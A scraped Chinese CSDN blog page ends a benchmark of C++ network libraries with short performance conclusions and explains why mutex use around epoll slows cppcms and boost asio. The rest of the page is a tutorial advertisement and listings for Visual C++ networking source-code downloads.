    muduo_basedclang++ 3.6.2-O3650% / 694% / 658%6272 / 6324 / 6312--303202 / 307204 / 305839


    其他测试结论

    我们使用的是clang++编译器和g++编译器,优化选项是O3, 发现两个编译器编译出来的程序性能相当。

    我们做了C++11和之前的C++03版本的对比,发现C++11略好于C++03。

    还有很多轮测试,限于篇幅,不在这里描述。


    为什么cppcms和boost asio性能不高?

    因为mutex,对epoll使用最高效的方式在多线程里面每个线程都调用epoll_wait,而这两个库都增加了mutex去锁,导致性能低下。

    mudoo性能特别高的原因是它的设计只考虑linux平台,只把一个平台的通信库做到极致,设计目的单纯,因此能够做到最好。

    具体的原因后面会专门发表文章剖析。今天先写这么多。




               

    再分享一下我老师大神的人工智能教程吧。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到我们人工智能的队伍中来!https://blog.csdn.net/jiangjunshow

    展开全文
  • Visual C++网络通信开发入门与编程实践》源代码 里面有该书的所有源代码。。认为这本书还好。。
  • 《Visual C++网络通信开发入门与编程实践》源代码
  • 《Visual C++ 网络通信编程实用案例精选》一书中 9.4 节“网络五子棋系统”的例子,原版代码会出现玩一会儿就通信中断,棋子就不能同步的情况。这是改进版源码,增加了一行代码,解决了这个问题。该程序已使用 ...
  • c++Socket通信框架

    2019-04-24 08:10:52
    基于c++的socket通信框架,windows版本,HP-SOCKET ..
  • 《visual c++ 网络通信开发入门与编程实践 》 源代码
  • Visual C++网络通信代码,配书代码
  • Visual C++网络通信编程应用案例精选源码,包含书中涉及的所有实例的源代码和经过编译后的应用程序。所有程序均经过测试,仅供读者学习时使用。
  • 曹衍龙, 刘海英的 Visual C++网络通信编程实用案例精选(第二版)源代码

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 115,073
精华内容 46,029
关键字:

c++网络通信

c++ 订阅